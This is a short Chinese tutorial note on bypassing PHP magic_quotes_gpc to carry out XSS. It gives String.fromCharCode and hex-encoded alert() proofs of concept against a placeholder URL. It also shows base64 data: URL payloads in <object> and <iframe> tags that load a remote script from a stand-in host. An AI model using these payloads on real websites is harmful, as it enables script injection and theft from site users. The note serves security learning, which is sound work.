参考:
https://www.exploit-db.com/papers/13646/
magic_quotes_gpc=ON
这是在php.ini
中的选项。
这种机制对任何输入中的
' (single-quote), " (double quote) and \ (backslash)
自动地加上\
。即便它是可以被绕过的,但是这确实是一种很有名的避免XSS的方式之一。
绕过
使用js的String.fromCharCode()
函数。这个函数将文本转化为十进制。
可以在这里进行转换。
比如turtles
可以被转化为String.fromCharCode(116, 117, 114, 116, 108, 101, 115)
。
PoC
www.site.ru/google.php?search=<script>alert(String.fromCharCode(116, 117, 114, 116, 108, 101, 115));</script>
HEX encoding
跟URL Encode有些像,但不一样。
比如在某搜索引擎搜索这个字符串
<script>alert(/turtles/);</script>
通过HEX encoding之后,会变成
www.site.ru/google.php?search=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2F%74%75%72%74%6C%65%73%2F%29%3B%3C%2F%73%63%72%69%70%74%3E
注意:跟URL Encode的区别。URL Encode只把<, ', "
等编码,而对于字母并不会编码?
6月9日更
使用data协议加载url
参考:
http://www.freebuf.com/articles/web/24496.html
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></object>
<iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></iframe>
其中PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4=
是
<script src=http://xxx.xxx/a.js></script>
的base64值。
支持data url的标签还有
<anchor>、<img> <a>(需点击) <meta>.....
需注意的是<img>
里的 data url 是不允许执行js的。还有, IE8 以下浏览器是不支持 data url的。IE8 data URL 最大长度限制为32k字节,超出无效。IE9+没有这个限制。 IE不支持对<frame>
标签的src设置data URL